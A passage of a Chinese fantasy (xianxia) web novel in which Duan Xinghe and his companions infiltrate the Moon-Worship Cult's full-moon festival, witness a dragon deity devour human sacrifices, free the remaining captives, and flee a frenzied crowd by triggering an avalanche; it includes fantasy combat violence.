段星河猛然想起昨天晚上,魏小雨说步云邪变化了一颗心脏骗住了饿道人,跟真的一模一样。他的神色微微一动,道:“那颗心……” 步云邪知道瞒不过他,道:“是将死之人的,我不借他的生机,他也活不了多久了。” 这毕竟是邪法,用多了有损自己的阴德,拜月教也不会教人什么正经东西。段星河没责怪他,只是道:“不到万不得已,别轻易用。” 步云邪嗯了一声,自己心里有数。宋胡缨觉得就他们两个人可能不够,道:“我和你们去吧。” 她的修为颇高,一起去也能有个照应。段星河道:“好。” 李玉真有点不放心,道:“那我……” 宋胡缨道:“你留下来,和六幺一起保护其他人吧。” 队里还有结香、伏顺等人,打架的水平一般,跑也跑不快,需要他们保护。段星河打开羊皮地图看了片刻,伸手比划了个位置。大家商量好了,等会儿其他人在月亮山西口等待,他和步云邪、宋胡缨一起去参加满月盛会。人面疮道:“还有我!” “放心吧,”段星河把皮囊挂在腰上,“答应你了,当然会带你去。” 魏小雨在不远处待着,手里拿着一根树枝在地上划来划去的,好像在玩耍,其实是在竖着耳朵听他们的计划。听说拜月教供养了许多不可名状的怪物,十分诡奇。她也想去凑热闹,但大师兄怕带她会危险,只让她在外面等着。 魏小雨寻思了一会儿,觉得要去玩还是得靠自己想办法。她脑子里忽然灵光一现,想到了一个主意。 她悄悄地钻进了赵大海的帐篷,在一堆杂物里找到了一个木箱。她打开箱子,从里头翻出了一件灰扑扑的斗篷,摸起来又软又弹,还黏黏的,感觉有点恶心。 她露出了笑容,道:“找到啦,隐身斗篷——噫,好臭啊。” 这东西是用金蚕丝混合着鬼脸蛛的丝织成的,虽然有隐身的奇效,但耐久度也低得很,穿个五六次就要报废了。段星河人高马大的,穿了几回就弄了个大洞,好不容易缝起来了,就收在箱子里,舍不得再穿。魏小雨没有骨符,想要混进去没有别的办法,只能借他这宝贝一用了。 小对眼从外面钻了进来,疑惑地看着她。魏小雨小心翼翼地把斗篷披在了身上,衣角垂下来盖住了她的脚面。小对眼眼睁睁地看着她在自己面前消失了,惊讶地歪过了脑袋。 “呜——哇,喵嗷嗷——” 它用力地在地上刨了几下,仿佛要从土里把她找出来,急的嗷嗷直叫。 半空中忽然浮起一张脸,魏小雨摘下了兜帽,扎着两个揪揪的脑袋露出来了,身体还隐藏着。她道:“嘘——他们不带我玩,我自己去。你可别给我告状啊。” 小对眼仿佛见到了鬼,浑身的毛都炸起来了。它伸出爪子抓了抓空气,抓到了隐身斗篷的一角。魏小雨吓了一跳,连忙道:“松开,这玩意儿挼得很,一扯就破了!” 小对眼的爪子钩在了斗篷里,被扯得一瘸一拐的。魏小雨费了一番功夫才把隐身斗篷从它爪子里扯了出来。她探头从帐篷里钻了出去,见段星河等人已经拿起了兵刃,准备出发了。 高大的月亮山就在前方,一条大路向那边通过去,再走半天就能到了。魏小雨把隐身斗篷脱下来,藏在了自己的行李里,打算跟着大车先去月亮山西口,等天黑了就披上斗篷混进去。 小对眼亦步亦趋地跟着她,似乎很不放心。魏小雨觉得自己能想出这个主意简直太聪明了,一手叉腰,得意道:“让他们不带我去,这么好玩的事,我一定要去瞧一瞧!” 93.邪神之眼 一 傍晚时分,一行人到了月亮山。六幺和司空玉等人等在山谷西边,把大车藏在密林中,打算在这里接应他们。 此时还未出正月,山上的积雪比平时更多,厚厚的像戴了个雪帽子。魏小雨仰头看着高大的雪山,道:“好多雪啊。” 结香谨慎道:“小点声哦,动静大了会塌的吧?” 伏顺道:“不至于吧,离这么远呢。看招——” 他挑衅地朝那边扔了块石头,山顶上没有任何反应。伏顺道:“看吧,小打小闹的崩不了。” 山谷里的地域十分广大,拜月教的建筑就在其中,透过谷口隐约能看到一些吊脚楼。这里本来是夷州人聚居的地方,后来一部分人搬走了,信仰原始巫术的人留了下来,逐渐将部落里的祭祀发展壮大,成为了容纳各路邪修狂欢的满月盛会。 他们一路上见了不少奇形怪状的邪修,有的人皮肤黝黑,身上纹满了刺青。有的人干瘪瘦高,眼神阴沉,身上盘绕着碧绿的毒蛇。有人骑着高头大马而来,穿金戴银,不可一世。也有人笑嘻嘻的,眼睛盯着身边的人,心里充满了算计。 段星河打算尽量保持低调,带着人面疮,和步云邪、宋胡缨一起,随着人流一起向谷口走去。前方来了一队人,几十个侍卫骑着高头大马,腰间挎着苗刀,簇拥着他们的主人。带头的那人穿着紫色法袍,脸上戴着青铜面具,身上挂满了黄金与宝石的饰物,极尽华美煊赫,却是阿萝扮做谶语师时的打扮。 段星河心一沉,混入了人群中,低声道:“小心。” 步云邪也注意到了,没想到阿萝也来了这里。先前听说他从大悲寺里逃了出来,没想到好一阵子不见,他又找到了这么多追随者,前呼后拥的恢复了昔日的尊贵。 他本身非人非鬼,纵使拥有这些东西也没有任何意义。可他偏要这么个活法,若不纵情享乐毋宁消亡,投胎转世对他来说一点吸引力也没有。段星河干涉不了他,只能尽量低调,不想让他发现了。 阿萝身为夷州王亲封的谶语师,在夷州是地头蛇,不少人都认得他,纷纷道:“谶语师来了,快让开!” 邪修们不敢冲撞,连忙让出一条路来。阿萝也没把那些人看在眼里,前阵子他从大悲寺逃出来之后,寻思着南宫家的子弟都不成器,自己又受了重伤。他便去了大都,对夷州王说有个从大幽来的小子叫段星河,带着一队人来到夷州,一路上遇见夷州王的神像便推倒砸毁,让人改信三清,嚣张的无法无天。 夷州人认为历代的夷州王都是神明转世,各大城镇中都有夷君庙,家家户户都有夷州王的画像,每天早晚三炷香供奉。其他信仰纵使有,也得低调。这外来的小子敢做这样的事,简直是吃了熊心豹子胆。 夷州王登时恼了,派了一队亲兵给阿萝,让他亲自带队去找那小子,逮到了就地格杀,提他人头来见。阿萝心中大喜,带了几十人从大都出来,一路寻找段星河的踪迹,却一直没有找到。 听说拜月教最近要举行满月盛会了,古神现身,赐予信众强大的力量。阿萝觉得这是个好机会,特地赶了过来,若是能恢复到六成以上功力,那小子就不是自己的对手了。 段星河混在人群里,远远望见阿萝带着人浩浩荡荡地进了场,这才松了口气。 山谷口,几个拜月教的男弟子在检查骨符。旁边站着一队侍卫,手持刀枪严阵以待,一旦发现可疑的人立刻擒下。段星河担心步云邪被看出来,轻轻握住了他的手。步云邪抬眼道:“干嘛,丢不了。” 段星河将一点煞气传了过去,步云邪明白了他的意思,没再说什么。段星河对宋胡缨道:“宋姑娘,给你也来点?” 宋胡缨把眉头一压,散发出一身杀伐之气,道:“我天生就有兵家肃杀之气,难道不够?” 她周身杀气腾腾,一看就不好惹。段星河道:“够了,当我没说。” 三个人走到山谷口,守山的弟子检查了骨符,发给他们几个白布口袋,摆了摆手,示意往里走。那白布口袋上有两个洞,宋胡缨道:“这干嘛的?” 前头有人已经把布口袋套在了头上,露出两个黑洞洞的眼睛。三人照着其他人的模样套上了布口袋,山谷里挤挤挨挨的都是人,每个人的头上都戴着个白布口袋,显得阴森森的。 蒙着布袋虽然有点闷,但每个人都看着差不多,也不用担心被认出来了。 他们站在一片宽阔的空地上,这里是拜月教集会的广场,能容纳几千人。后面隐约能看到一座座石头垒成的殿宇和寻常族人居住的吊脚楼。皮囊上有个透气用的小洞,人面疮悄悄地看着外面的情形,低声道:“她们住在北面,山谷里地形很复杂。关人牲的山洞就在后头,祭祀之前他们会把人关在那边,一共三个牢房,挨个往外放。” 旁边有人看了过来,段星河按了一下皮囊,示意它暂且安静一会儿,免得被人发现。 天色暗下来,月亮渐渐升起来了。一轮圆月洒下清辉,映得山谷中越发神秘。上元、中元、下元是一年之中月亮三次最圆满之时,太阴之气最重。这三次月圆对于拜月教都是十分重大的日子,而上元又是其中的重中之重,她们信仰的古神会在此时现身,接受信徒的供养。 据说那尊古神已经活了近万年,仅次于创世的虺神,回馈给信徒的力量也极为强大。凡是来参与盛会的人,都会得到古神的赐福。周围人头攒动,大家都充满了期待。 一声低沉的牛角号响起,篝火熊熊燃烧着,照亮了场地的正前方。十来名穿着黑袍的巫师在月下吹起了笙箫,拜月教的女子跳起了祭祀的舞蹈,最正中的女子就是拜月教的教主张夜来。她们穿着白色的轻纱,舞蹈的动作时而狂野,时而柔美,有种说不出的诡异感。远远望去,那些人仿佛还活在数百年前,如同光阴中的幽灵一般。 舞蹈跳到了尾声,每个人都匍匐在地,浑身战栗着,喃喃呼唤古神的名号,祈求它的降临。 段星河道:“会来么?” 人面疮低声道:“每年都来,今年也不会失约的。” 说着话,天空中忽然卷来一阵狂风,厚厚的云层聚集成一座云山。人群骚动起来,有人道:“来了、来了!” 云中现出了一个巨大的阴影,骤然呼啸而过,在山谷上空盘旋着,低头审视着它的信徒们。刹那间段星河看清楚了,云层的缝隙间掠过了一截长长的身躯,似蛇非蛇,气势逼人——它们供奉的古神,是一条巨大的青龙。 看到它的一瞬间,段星河感到了一阵毛骨悚然。他想起了人面疮说过的话,古神不可直视,不可名状。冒犯它的人,会遭到强烈的诅咒,生不如死。 步云邪注意到了他的不对劲,提醒道:“别跟它对视。” 段星河稳住心神,渐渐平复了情绪。拜月教众人十分激动,向那条巨龙跪拜行礼。下面的邪修们也十分兴奋,纷纷欢呼道:“古神降临了,恭迎古神!” 魏小雨披着隐身斗篷,悄然从山谷口混了进来。刚才她说自己困了要睡觉,钻到大车上去,其他人也没在意。她趁人不备溜了出来,因为来得晚,个头又小,被挤在后面什么也看不着。 人家看拜月教的女子跳舞,啧啧称赞妖娆妩媚。魏小雨只听见有人在呜哩哇啦地吹笙,踮起脚尖也只能看到一个个蒙着白口袋的后脑勺,连想都想象不出来是怎样一个情形。 天上聚起了乌云,黑沉沉的像是要下雨。就在这时候,天空中飞过一条巨龙。魏小雨睁大了眼,十分激动,大老远来一趟,总算看到了真家伙。 那条龙一闪而过,魏小雨想再看一看它,云层已经把它遮住了。 “古神!古神现身了——!” 周围的人兴奋地向着天空欢呼,气氛十分狂热。饶是魏小雨站在人群后面,也被挤得东倒西歪。有个大汉往后退了一步,一脚踩在魏小雨的脚上,踩得她脸都白了。那大汉感觉被什么东西硌了一下,回头看了一眼,喃喃道:“奇怪,没人啊。” 魏小雨忍着疼没出声,等那人回过头去才松了口气。要是在平时,她肯定跳起来踩回去了,但这地方人这么多,她不想招人注意,只好吃了这个哑巴亏。 又一波人浪涌了过来,魏小雨连忙退的远了一些,喃喃道:“这地方也太混乱了吧……” 到处都闹哄哄的,实际的情况没有她想象的那么有趣,魏小雨开始后悔偷偷跟过来了。她伸着头到处张望,想找找段星河他们在什么地方。她怕被大师兄骂,没打算让他们发现自己,但就算待在他们身边也能安心一点。 所有人都蒙着白口袋,魏小雨也认不出来谁是谁。她闭上了眼,凝神寻找段星河的气息。片刻人群里有了一点感应,不光是他,还有步云邪和宋胡缨的气息。魏小雨心中一喜,悄然朝那边挪了过去。 作为对信徒的回报,青龙在空中张开大嘴,吐出了一股白色的云雾。那股白雾带着淡淡的香气,在场的人顿时感觉身体十分舒畅,如同饮下了一坛美酒,摇头晃脑的十分陶醉。段星河也感觉浑身暖洋洋的,神情也有些恍惚,仿佛五感都被剥夺了一般。 他意识到这股气息有毒,手里掐了个诀,默念清静经,保持住了清醒。 步云邪也感到了不对劲,低声道:“这家伙不怀好意,别被它迷惑了。” 随着龙息散去,夜空中浮现起了一层层白玉台阶,一直通向云层中。石阶映着皎洁的月光,散发着神圣的气氛。 邪修们骚动起来,纷纷道:“登阶!天梯出现了,要登阶了!” 段星河只听人说过凡人飞升是此等情形,但也仅限于修炼了上千年的得道高人。而眼前这天梯凭空出现,十分蹊跷。他远远地望着张夜来,她从山谷中放出了一队人牲。引领着他们来到天梯跟前,便站在一旁不动了。 若是真有这么轻易成仙的机会,她怎么会让给别人? 空气中的龙息还未完全消散,那些人牲吸了进去,一时间陶然忘我,一点也不知道恐惧。张夜来长声道:“浮生苦难甚多,不如早日解脱。古神垂怜你们,让你们登阶成仙,去领受它的慈悲吧——” 人牲们恍恍惚惚的,失去了思考的能力,口中喃喃道:“我要成仙了,我要成了,要成了……” 一群人像行尸走肉一样,排着队向上走去。对于头一次来满月盛会的人来说,这便是难得一见的奇景了。场地上的人骚动着,想要看的更清楚一些,不住涌动着。 段星河身边有人挤过来,撞了他后腰一下。他回头看了一眼,什么人也没有。他有些疑惑,以为是自己的错觉。这时候就听身边传来低低的一声哎呦,却是魏小雨的声音。 段星河心中一凛,伸出大手一抓,一把薅住了空气。魏小雨的肩膀被他揪住了,慌得不得了,小声道:“大师兄,放手,你要把我肩膀捏碎了!” 另外两个人也是一愣,意识到是魏小雨偷摸来了。魏小雨好不容易找到了他们,在他们身边站了一会儿,悄悄地扮了好几个鬼脸,他们也没有发现自己。她正觉得十分有趣,忽然一阵人流涌了过来,就像一个大浪,把她狠狠地拍在了段星河的后背上。 段星河的手上带着隐身斗篷黏黏弹弹的触感,就知道是这熊孩子作怪。他放开了手道:“你怎么来了?” 魏小雨无辜道:“我就想看看热闹。” 段星河道:“胡闹。” 魏小雨不服气道:“你们都能来,我为什么不能?” 旁边有人看了过来,不知道他们在跟空气吵什么。步云邪低声道:“行了,来都来了,保持安静。” 魏小雨一只手捂着嘴,小声道:“好,我不出声,你们也不能再骂我了。” 这里这么危险,她一个小豆丁居然敢一个人来,简直是胆子上长了个人。段星河有点生气,但现在说她也没用。这丫头还挺聪明,知道穿着隐身斗篷来,不但能隐藏身体,还能隐藏气息。 他道:“好好藏好了,别让人发现你。” 魏小雨连连点头,悄悄地揪住了步云邪的衣袖。步云邪虽然看不见她,但是能感到她的存在,安心了一些,轻声道:“放心吧,我帮你护着她。” 天空中隐约浮现出一道金色的大门,向外放出淡淡的光芒。一阵柔美的仙乐不知从何而来,暗夜中仿佛有人在曼声吟唱,那一道天梯就是指引人们通向幸福的道路。 莫说那些人牲被大门吸引,就连地上定力差一点的邪修,都忍不住要往前走去。旁边有人拉住了那人,道:“你不要命啦!” 被吸引的人喃喃道:“成仙……我要成仙……” 另一人劈手打了那人一记耳光,道:“你看清楚了再去!” 夜空中云雾缭绕,众人定睛一看,却见那道金色的大门后面,有一张嘴大张着,露出白森森的獠牙。走到顶端的人牲充满了喜悦,以为自己从此就能摆脱痛苦,得到永恒的解脱了。 他们穿过云雾,向里走去,连惨叫都没能发出就被吞吃下肚。血淋淋漓漓地从青龙的嘴角淌下去,血腥味很快被它吐出的龙息掩盖了。 这根本不是什么登阶,就是人牲献祭,还没成仙就先成鬼了。可悲的是后面的人依然一无所觉,连续不断地走进大门,满怀幸福地迈向死亡。 血腥的场面刺激了在场的人,地上的邪修们沸腾起来,大声欢呼着。 青龙吃了几十个人牲,直到把最后一个吞下去,满意地舔了舔嘴角。它长长地吐出一口龙息,赐予信徒们回报。白色的烟雾弥漫开来,甜美的让人陶醉。在场的邪修们都仰起了头颈,竭力扩张着鼻孔甚至七窍,贪婪地吸收着那股邪气。 拜月教的人也在贪婪地吸取着古神的气息,这就是他们献上人牲的目的。上古巨龙的吐息能够增加邪修的力量,在满月之夜修炼,更能够让功力大幅增长。 逍遥观的人从小修的是正法,这种东西对他们来说有害无益。段星河对此毫无兴趣,道:“就这?” 人面疮低声道:“等会儿还有两次献祭。古神吐完了气息,会再吃一部分人。趁现在没人注意,赶紧去找找我大师兄吧。” 段星河低声道:“你师兄未必还活着,你怎么知道刚才献祭的人里面没有他?” 人面疮沉默了片刻,道:“试一试,总比什么都不做要好吧。若是他已经死了,看到咱们救了其他人,应该也会高兴的。” 被关着的人牲有不少是附近的村民,也有被绑去的普通人。段星河想起了村子里为了丢失儿子痛哭的老母亲,生出了恻隐之心。他道:“怎么走?” 人面疮振奋起来,道:“我认路,你听我的。先从后头绕路,去东边有条小道,那边守卫少一点。然后看情况再说。” 这边已经没什么好看的了,段星河低声道:“阿云,你们去西边谷口找六幺他们。我等会儿把人放出来,就去找你们汇合。” 周围的人还在贪婪地吸着邪气,每个人都半闭着眼,脸上带着痴迷的表情。天空中的龙息弥漫着,到处都白茫茫的一片,这情形应该还要持续一阵子,动作快的话应该能逃得掉。 步云邪有点不放心,道:“我和你一起去。” 段星河道:“你保护小雨吧,我很快就办完” 他说着转过身,趁着没人注意,快步走了。 山谷中的人都在吸收着邪神的气息,不光邪修和拜月教的教众沉醉其中,就连守卫也恍恍惚惚的。在场的人如同喝了一大缸美酒,有的人倒在地上,身子瘫软的如烂泥一般。有的人痴痴傻笑,喃喃道:“三花聚顶,我成了……成了!” 那股混乱颠倒的气息到处弥漫,渐渐聚集在一起。这些人的精气神被龙息耗泄,大量的生命力流失出来。上古巨龙眯起了银色的眼睛,轻蔑地看着下面那些蝼蚁一般的人。它就像放高利贷的人,提供一点甜头,收取的却是极其高昂的代价。它深吸了一口气,把这些人的精气吸入了体内。 成为祭品的,不光是登阶的那些俘虏,还包括在场的每一个人。只不过有的献上的是□□,有的献上的是灵魂。这些邪修的神志被龙息腐蚀,忘却了这一生的追求,什么荣华富贵、权利野心,此刻都被抛到了脑后,他们只想享受更多快乐。 那种极致的快乐一旦体会过,就像烙印一样留在灵魂深处,让人终生难以忘却。所以每个来参加过满月盛会的人,接下来的每一年都会再来,觉得其他的事都索然无味,抓心挠肝地回味着那一刻的感觉,直到耗尽自己的一切为止。 段星河一开始就意识到了龙息吸不得。他左手掐诀,以清静经护体,尽力保持着头脑的清醒。人面疮指点着他绕开了守卫,来到了山谷深处。 “看到前头那个洞口了吗,牢房就在 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他拔剑出鞘,倏然掠出去,一剑砍翻一个,反手几剑又砍倒三个。其他侍卫看着倒在血泊里的人,这才从恍惚中清醒过来。有人要呼救,段星河已经一把捂住了他的嘴,低声道:“别吵。” 那人手软的连刀都提不动,浑身一个劲儿地发抖。段星河手上发力,那人的颈骨折断,扑通一声倒了下去。 另外几个人要逃跑,段星河追上去一剑一个,把守卫都杀了。他动手干净利索,连点声音都没听见就解决了。他把尸体拖进了草丛里,快步走进了山洞。 洞里黑漆漆的,空气中弥漫着一股腥臭发霉的气味。墙上嵌着几盏昏暗的灯光,照亮了里面的情形。山洞里一边是疙疙瘩瘩的石壁,一边是牢房。 段星河一间间找过去,见一个石牢里堆着几座不住蠕动的肉山。他下意识停下了脚步,看来这里不光关着人,也是她们孵化鱼卵的地方。 他站在铁栏杆外向里望去,黑洞洞的石牢内有三坨一人多高的鱼卵。半透明的薄膜里裹着上百个黄褐色的卵,已经快孵化出来了。地上散落着人类的白骨,有弯钩状的肋骨,也有长长的腿骨和散落的指骨,让人毛骨悚然。 几个人被黄色的黏液沾在肉山上,就像昆虫撞到了蜘蛛网上。他们挣脱不下来,只能在绝望中慢慢等死。那几个人的血肉已经被鱼卵吸干了,只剩下一张灰色的人皮绷在骷髅上,透着一股骇人的气息。 段星河皱起了眉头,觉得这些妖物真是作孽。他打了个响指,放出了一道雷火咒。哗啦一声,那几坨鱼卵便被劈得焦黑,散发出一股难闻的气息。 再往前走,下一个石牢已经空了,刚才被送出去的人牲应该就关在这里。 段星河悄然往前走去,见前头两个牢门前站着几个守卫,里头传来隐约的哭声。一个守卫踹了栏杆一脚,粗声道:“谁再哭一声试试,老子马上扔他去喂鱼!” 哭声消失了,牢里的人们却更不安了。刚才隔壁牢房的人都被拉出去了,到现在还没回来。有人猜测那些人已经死了,接下来就轮到他们了。有的人还抱着一线希望,觉得自己不会那么倒霉。也有的人低声念着佛,祈求上天保佑。有个小男孩怕的不行,小声道:“我想我娘了,我要回家……” 一个大叔道:“别说话了,狱卒盯着咱们呢。” 段星河躲在拐角处望了一眼,见最近的牢里大约有一百人,门前各有六个守卫。大部分拜月教的守卫跟在张夜来身边,维持着前头的秩序,这边反而没什么人看守。 段星河打算速战速决,抬手放出几枚袖箭,先放倒了两个守卫。其他守卫吓了一跳,连忙喊道:“有敌人,快来——” 地牢里深处的守卫都聚了过来,十来个狱卒拔出了刀,一窝蜂地围住了他。段星河根本没把这些蝼蚁放在眼里,提剑斩过去。黑暗中剑光闪烁,瞬息之间就听几声惨呼,十来个守卫都倒在了地上。 人面疮看的热血沸腾,道:“漂亮!” 段星河扬起了嘴角,道:“小意思。” 他从一个侍卫身上摘下了钥匙。石牢里的人们十分慌张,不知道他是来干什么的,下意识往后退去。钥匙有一大把,段星河试了一阵子,终于找到了开门的那把。 他扬声道:“别怕,我是来救你们的。等会儿出去了你们就往东走,有认路的吗?” 人群中有个汉子鼓起了勇气,上前道:“我认路。我在附近放牧,给他们送过牛羊,来过好几次。” “好得很,”段星河道,“现在你是队长了,在前头带路。大家都保持安静,迅速离开。” 咯吱咯吱几下,门锁打开了。段星河一把拉开了铁门,道:“赶紧走!” 那汉子在前头带路,领着一群人悄然向东边逃去。段星河往前走了几步,打开了另一个牢房,放出了剩下的人,再往前走到头,牢房就都是空的了。 段星河怕他们遇见守卫,快步追到了最前头,打算护送他们一程。谷口果然有一队人守着,带头的守卫见了这么多人,十分诧异,举起长枪指着人群道:“后退,怎么回事!” 段星河掠了过去,那人还没来得及反应,手中的长枪已经被挑翻了。段星河一剑抹了那人的脖子,鲜血顿时撒了一地。其他守卫围了过来,吼道:“反了天了,快擒住他们!” 人群中有不少妇孺,不敢上前搏斗。段星河的修为虽然高强,奈何对面的人太多,解决起来有些麻烦。一些男人知道此时再不拼命,就没机会活了。有人从地上捡起了石头、棍棒,一个男子带头喊道:“兄弟们,快帮忙!” 人们一拥而上,七八个人按住一个守卫,有的用石头砸,有的用拳头打。有守卫大喊起来:“救命——快去通报教主,人牲逃走了!” 他刚喊了两声,四五个人冲上去捂住了他的嘴。他们被关了这么久,以为自己一定会死在这里了,忽然看到了一线希望,怎么可能舍弃。守卫拼命挣扎,那些人红着眼,死也不松手,竟然就这么把那个守卫活活捂死了。 制服了谷口的守卫,其他人喘着气,发着抖。在拜月教那些人的眼里,这些人牲跟待宰的牛羊没什么不同。可他们也是活生生的人,不该被这么折磨的。 段星河放眼向前望去,山道两旁苍苍莽莽的,一条大道通向南边的村庄。从这里出去,趁着夜色逃跑应该能活下来。他道:“都解决了,快走吧。” 那些人十分感激,纷纷道:“多谢、多谢少侠!” 一群人互相搀扶着,向山谷外逃去。段星河舒了口气,感觉这边还算顺利。张夜来要是知道她费劲抓来的人牲都被自己放跑了,肯定鼻子都要气歪了。 人面疮也不知道自己的师兄有没有被放出来,但它已经尽力了。它伸出须子揉了揉眼睛,有点高兴,又有点难过,道:“谢谢你。” 段星河掸了掸身上的土,道:“有什么好谢的,举手之劳而已。” 人面疮知道他是冒着极大的危险这么做的,嘴上却不肯承认。一开始遇见的时候,他只觉得这少年不过是个跟自己一样的倒霉蛋,没想到他能做成这么大的事。 段星河低头看了皮囊一眼,心中也有些感慨。它虽然都变成这样了,却没有去坑别人,反而要救其他人于水火。段星河以前虽然不怎么喜欢浩荡盟的人,但跟它相处了这段时间,觉得能教出这样的徒弟,刘正锋应该也是个有大义的人。 “你会好起来的。”段星河道。 人面疮不知道他为什么忽然这么说,苦笑了一下道:“没指望了,都已经这样了。” 段星河拍了拍皮囊,安慰道:“你师父本事那么大,一定有办法的。” 两人说着话,山谷里忽然传来一阵骚动,好像一滴水溅进了油锅里,又像一只老鼠钻进了大姑娘的绣房里。有人放声大叫,脚步声稀里哗啦的,好像有许多人在追赶着什么。 人面疮吓了一跳,道:“快藏起来,这么快就被他们发现了?” 段星河闪身躲到了一块大石头后面,竖着耳朵听了片刻,声音没朝这边来,反而朝着相反的方向去了。那帮人刚才还被龙息迷得六亲不认,这会儿却好像都清醒过来了——不对,听这动静是更疯癫了。 不知道那头龙又给他们下了什么猛药。步云邪他们说不定还在山谷里,要是被卷进去就糟了。段星河有种不好的感觉,道:“过去看看!” 94.邪神之眼 二 山谷中弥漫着白雾,巨龙吐出了龙息,又悄然吸取着信徒们的生命力。 人群们陶醉在其中,对此一无所察。步云邪和宋胡缨拉着魏小雨向外走去。巨龙在空中一摆尾巴,吐出更多龙息。人们越发兴奋了,举起双手向天空中欢呼,不住动荡。 宋胡缨低声道:“小心点。” 她话音未落,人流涌过来,魏小雨的个子矮,斗篷垂在地上被人踩住了。那斗篷太脆弱了,魏小雨根本不敢拽。步云邪感觉她站着不动了,道:“怎么了?” 魏小雨慌张道:“我的衣裳,要被扯破了!” 那人长得又高又壮,反应迟钝,踩着魏小雨的衣角一点感觉也没有。宋胡缨只得过去撞了那人一下,魏小雨连忙把衣角拽了出来。那人回过头来,恶狠狠地道:“干什么?” 宋胡缨道:“对不住,我没站稳。” 她虽然蒙着白面口袋,但听声音是个年轻的女子。那人没那么计较了,粗声粗气道:“看着点。” 魏小雨松了口气,正准备离开,周围忽然有人耸了耸鼻子,道:“好强烈的灵力……哪来的?” 其他人也闻见了,朝这边回过头来,似乎都很惊讶。步云邪低头一看,见半空中露出一截小腿,魏小雨的隐身斗篷还是被扯破了,半截身体露出来,身上的气息也泄露了出来。 魏小雨生来就具有极其强大的灵力,师父对此十分满意,认为女儿很有灵修的天赋,一直想好好培养她。然而天外天是个弱肉强食的世界,邪修们一闻到她身上的气息就狂热起来,恨不能把她生吞活剥了来壮大自己的力量。 步云邪想起了之前的饿道人,他就是大老远就感到了魏小雨身上的灵力,闻着味过来坑他们的。而周围的人一个个红着眼,贪婪地盯着他们,跟饿道人当时的模样没什么区别。 一人咧嘴笑了,道:“小胳膊小腿的,还是个小娃娃,妙啊。” 又一个人吞了一下口水,道:“小的嫩,就是不经吃。兄弟们一人一口,谁也不准多吃!” 他们完全无视了步云邪和宋胡缨,眼里只有魏小雨一个人,就像看着一只待宰的小羊羔。 一个大汉直接朝魏小雨伸过手来,一把撕掉了她身上的隐身斗篷。蜘蛛丝织成的斗篷彻底报废了,魏小雨身上的灵力暴露在一众邪修的面前,忍不住打了个寒战。 越来越多的人感到了不同寻常的气息,朝这边回过头来。一个个邪修就像饿了三天的狼,用力耸动着鼻子,朝这边涌了过来。先前吸了那么多龙息,这些人几乎丧失了自我意志,只靠本能行动。 宋胡缨见那么多人朝这边来了,头上渗出了冷汗,道:“怎么办?” 步云邪弯腰扛起了魏小雨,道:“还能怎么办,跑吧!” 两人撒腿就跑,后头那些人就像丧尸一样,疯狂地追了过来。那些人的表情狰狞,龇着牙流着口水,一旦被他们追上就完蛋了。魏小雨搂紧了步云邪的脖子,发抖道:“二师兄,我害怕!” 步云邪顾不上安慰她了,道:“那你就先怕着吧。” 魏小雨只好闭上了眼,把头抵在步云邪的肩膀上,不看就当做什么都没有。 拜月教那些人有些莫名其妙,不知道好端端的,下头的人忽然追逐着什么跑了。张夜来往前走了一步,道:“怎么回事?” 一名侍卫从下面挤过来,道:“回禀教主,有个小姑娘身上带着强烈的灵力,把人都吸引过去了。” 张夜来定睛一看,就见一个白衣少年在前头没命地奔跑,后头放风筝似的拖着上千个发疯的邪修。 “啊啊啊啊……救命啊,别追了。大师兄你在哪里,快来救我们啊——” 头上蒙着布口袋看不清路,步云邪一把薅了下来。宋胡缨也嫌碍事,早就揪下来扔了。魏小雨脑袋上的揪揪散开了,小辫子被颠的一晃一晃的,害怕得放声惨叫,喊得都破音了。 那情形极其壮观,有十个追,就有一百个人追、一千个人追,就算后来的人不知道发生了什么事,也忍不住要加入进去。 阿萝注意到了那边情形,定睛一看,却见步云邪扛着个小女孩在前头跑,后头拖着一帮疯了的邪修,十分诧异。他没想到这些人居然也来了这里,真是得来全不费工夫。他抬手一指,厉声道:“给我追,把那个扛着小孩儿的人拿下!” 一队亲兵追了上去,阿萝这回却是失策了,任他们再魁梧精悍,一旦卷进人群中,就身不由己了。一群人被洪流推着往前走,眼看着步云邪在前头奔跑,伸出手又很快淹没在人群中,根本抓不到他。 阿萝也被推过来挤过去的,到处乌乌泱泱的。他想说什么,根本没人听得见,气的他脸都白了。 好好的满月盛会都被这几个人给搅合了,他们这么横冲直撞,简直是对古神的大不敬。青龙飘浮在半空中,看着地上奔走的人们,就像看着莫名旋转起来的蚂蚁群,显然也十分疑惑。 它微微歪过头,朝地上咆哮了一声,人群根本顾及不到它,只是疯狂地打着转。张夜来皱起了眉头,道:“又是他们,专门混进来捣乱的是不是!给我擒下!” 她一招手,带着一队人冲了过去。步云邪想去山谷西口,出口却被人堵住了。他没办法,只好掉头就跑。那些人排成一条拥挤的长龙,拐弯没有他灵活,费了半天劲儿才调整了方向。 步云邪趁机奔到了山谷南边,他们一开始就是从这边来的。此时谷口有几个守卫拦路,大声吼道:“站住!” 步云邪跑的脸都白了,喉咙里满是铁锈味,背上还扛着个人,已经累的不行了。他喝道:“引魂——” 风中隐约传来钟鼓的叮当声响,一盏金色的琉璃灯飘在了他身前,蓝色的灯火亮了起来,从四周吸起了灵力。到处都是人,引魂灯源源不断地把气血供给了步云邪。他的体力瞬间就满了,把魏小雨往上一颠,道:“宋姑娘,快解决了他们!” 宋胡缨不用他说,已经抄起了斩马/刀。她挥刀横劈竖砍,眨眼间就把那几个守卫都放倒了。 头一茬人解决了,后头又有人冲了过来。眼看着人群像潮水一样扑过来,不光魏小雨要被他们撕碎,就连步云邪和宋胡缨恐怕也不能幸免。 魏小雨浑身发抖,后悔给他们添了麻烦,道:“对不起,都是我不好。” 现在说这个已经没有任何意义了。宋胡缨的神色冷冷的,握紧了手里的斩马/刀,做好了跟他们拼死一搏的准备。 对面的人太多了,根本不是一两个人能抗衡的。步云邪低声道:“别上,上了就是死。” 他仿佛想到了什么,抬头望着高耸的雪山。宋胡缨道:“那能怎么办?” 步云邪口中默念咒语,手上生出了一点紫色的光芒。那些人越来越近了,步云邪手中的光芒越来越盛,剑指朝天上一挥,喝道:“急急如律令,雷电招来——!” 上空轰然一声震响,一道紫色的雷轰然落了下来,整个山谷都为之震颤。张夜来抬头一望,却见那道雷并没有劈在人群中,而是劈在了山顶上。她有些疑惑,道:“歪了?” 这时候就听山巅传来一阵轰隆隆的声响,众人抬头向上望去,就见大量的雪像浪涛一样,奔腾着冲了下来。 众人吓了一跳,嘶声喊道:“快跑,雪崩了!” 